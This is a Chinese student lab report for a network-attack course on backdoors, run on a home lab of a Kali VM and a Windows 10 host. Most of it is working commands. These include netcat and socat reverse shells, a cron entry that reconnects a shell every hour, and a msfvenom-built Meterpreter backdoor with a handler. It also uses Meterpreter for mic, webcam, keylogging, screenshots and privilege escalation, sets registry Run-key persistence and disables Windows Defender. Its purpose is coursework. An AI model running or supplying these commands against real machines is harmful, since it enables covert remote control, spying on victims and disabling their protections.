2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
实验内容(概要):
(1)使用netcat获取主机Shell,cron启动
首先两个电脑(虚拟机)都得有netcat,然后各使用netcat互相攻击一次。最后使用在linux用cron设置一个定时启动。
(2)使用socat获取主机Shell, 任务计划启动
与第一个区别在于,第二个虚拟机使用Windows的任务计划启动一次,设置一个定时启动。
(3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
可执行文件就是后门程序。利用ncat或socat传送如果不行,复制粘贴也可以。
(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
这个就是获取shell以后的阶段,很有意思了。
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。
这个不是很懂。。。也暂时没有做,过段时间看看别人的,问题不大。
2.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
一个是通过U盘硬盘这种可移动设备,如果写一个AutoRun.inf,插上以后就会自动运行后门。
二是盗版软件,破解工具。实际上这可能是无法避免的,在中国盗版软件多得超乎想象,像Adobe这种实用而流行的产品,如果买正版几乎让人倾家荡产。
最重要的是,在你使用这些盗版软件或者破解正版软件的时候,可能需要关闭防火墙和杀软才能起效果。
当你心甘情愿主动地关闭杀软的时候,即使是最简单的恶意代码或者后门程序也是致命的。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win后门的启动,我认为最合适的方法是修改注册表启动项,这也是最可靠的方法。
除此之外还可以使用meterpreter建立持久后门,方案1:
run persistence -X -i 5 -p 443 -r 192.168.1.207 //攻击机ip
在目标机的C:/windows/Temp/下建立一个vbs文件,开机会启动这个文件上面。
缺点:很容易被杀软搞死。
方案2就是在靶机启动metsvc,但是这个会被其他所有黑客利用。
实验中使用的是任务计划启动,在实践中似乎不是很可靠(做实验还是能做,但是如果在实战渗透这样的方法不是很可靠诶,from自己瞎玩的经验)。
linux的后门启动我知道的就只有那什么cron了,我感觉win系统作为靶机的情况更多吧。
(3)Meterpreter有哪些给你映像深刻的功能?
Meterpreter功能很强大,牛逼。
生成backdoor,upload,留下后门,修改注册表,截图录音,击键记录,这谁顶得住???
最重要的是还有tab补全,太舒服了。。。。
(4)如何发现自己有系统有没有被安装后门?
最简单就是用杀软查杀呗,大老虎可能抓不到,小苍蝇还是能打死。
然后如果多看看任务管理器,多看看端口,有没有什么奇奇怪怪的幺蛾子。
然后上香祈祷吧,我真的没有什么攻击价值,求求dalao放过我,给个机会嘛,我也是要吔饭的嘛。。。。。
3.实验内容
准备
首先一台kali虚拟机,主机win10。
桥接,互相ping通。(本次实验中,kali的ip:192.168.1.207、win10的ip:192.168.1.123、我的学号5325)
关闭防火墙杀软。
然后两个机子都需要ncat和socat文件:https://files.cnblogs.com/files/maxeysblog/ncat.rar 和 https://files.cnblogs.com/files/maxeysblog/socat.rar
启动!!!
使用netcat获取主机操作Shell,cron启动
首先我们得在不使用cron的情况下用win10获取kali权限。
在获取权限的时候,使用的是反弹的方式,我的理解就是攻击机开放端口等待,靶机主动连接攻击机。
在win10的cmd输入:ncat.exe -l -p 5325
注意,此时win10的cmd工作路径下要有ncat。
在kali端输入:nc 192.168.1.123 5325 -e /bin/sh
成功:
通过相似的操作,也能获取win10的权限。
kali:nc -l -p 5325
win10:ncat.exe 192.168.1.207 5325 -e cmd.exe
成功:
接下来我们可以尝试使用cron来定时执行指令,悄悄启动ncat。
kali:crontab -e
打开crontab,首次打开的时候可能会让你选择1234,选3. /usr/bin/vim.basic
在最下面加一句:42 * * * * /bin/netcat 192.168.1.123 5325 -e /bin/sh
,如图所示
意思就是每小时42分启动一次。
此时眼疾手快,在win10:ncat.exe -l -p 5325
开始监听。
成功:
使用socat获取主机操作Shell, 任务计划启动
这里主机指的是win10,也就是说kali获取win10的shell。
打开计算机管理,创建任务,输入参数tcp-listen:5325 exec:cmd.exe,pty,stderr
,如图
然后右键运行,会蹦出来一个窗,说:
1 [main] socat 18780 find_fast_cwd: WARNING: Couldn't compute FAST_CWD pointer. Please report this problem to the public mailing list cygwin@cygwin.com
问题不大,不要关。
kali:socat - tcp:192.168.1.123:5325
成功:
关于错误提示,如果你关闭它,连接就会终止;网上没找到这什么意思,怎么解决,但是似乎不影响实验。
(惊险刺激的部分要来了)
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
首先生成一个后门:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.207 LPORT=5325 -f exe > 20165325.exe
参数说明(鸣谢庄艺霖学姐博客)
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。如上即使用该编码器编码5次。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
把生成的文件复制粘贴到win10,懒人一枚。
kali:msfconsole
启动!!!
二话不说,民工四连:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.209 //攻击机IP
set LPORT 5325
完美,让我们开始吧:exploit
成功:
爽。。。。。
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
record_mic
可以录一段音频,-d
选项设置录制时间:
webcam_snap
摄像头拍照:
没错这就是我。
更多的:
使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
使用
screenshot
指令可以进行截屏,效果如下:
先使用
getuid
指令查看当前用户,使用getsystem
指令进行提权
也可以用
webcam stream
指令可以使用摄像头进行录像
plus
比起上面的,我更关心的是怎么持续攻击。。。
一般来说,当你GetShell后,首先想到的肯定是留下后门,以便后续能持续化进行控制。
Meterpreter提供2种方式的后门,一种是通过服务启动(metsvc),一种是通过启动项启动(persistence),这个在开头说过了。
通过metsvc的方式,命令简单方便,就是run metsvc
,不进行反弹回连,无太多参数。该后门在目标机器启动后自启动一个”服务器”来等待连接,因此黑阔可以随时随地通过该后门进入目标机器。当然,当其他黑阔使用扫描软件扫出该”服务器”的存在时,也可以通过该后门直达目标机器内部。
通过persistence的方式,参数较为复杂,当设置某项参数后,很有可能因为权限问题导致该设置项并未生效,并且无错误回显,导致持续化控制可能失败,功败垂成。
参数:
meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back
-P:设置Payload,默认为windows/meterpreter/reverse_tcp。该默认的payload生成的后门为32位程序。因此,当目标机器为64位系统时,留下的后门将无法运行
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。因此,在非管理员权限或者未进行BypassUAC操作情况下,不推荐使用该参数。
-i:设置反向连接间隔时间,单位为秒。当设置该参数后,目标机器会每隔设置的时间回连一次所设置的ip
-p:设置反向连接的端口号。即黑阔用来等待连接的端口
-r:设置反向连接的ip地址。即黑阔用来等待连接的ip
一个完整的命令为run persistence -U -i 10 -p 5325 -r 192.168.1.207
实践表明:使用注册表实现自启动更不容易被察觉,存活率较高。
upload /root/backdoor.exe c:\\users\\arche\\AppData\\local\\backdoor.exe //上传新的backdoor
reg setval -k HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v backdoor -d c:\\users\\arche\\AppData\\local\\backdoor.exe //修改注册表
甚至可以直接在组策略禁用windows defender
meterpreter > execute -H -i -f cmd.exe
Process 9064 created.
Channel 1 created.
Microsoft Windows [�汾 10.0.17134.648]
(c) 2018 Microsoft Corporation
C:\Windows\System32>reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
附:
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\\windows\\system32\
download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
edit c:\boot.ini # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\\www -f web.config #search 文件,如search -d c:\\ -f*.doc
meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea*.bat c:\\xamp\\
enumdesktops #用户登录数
参考: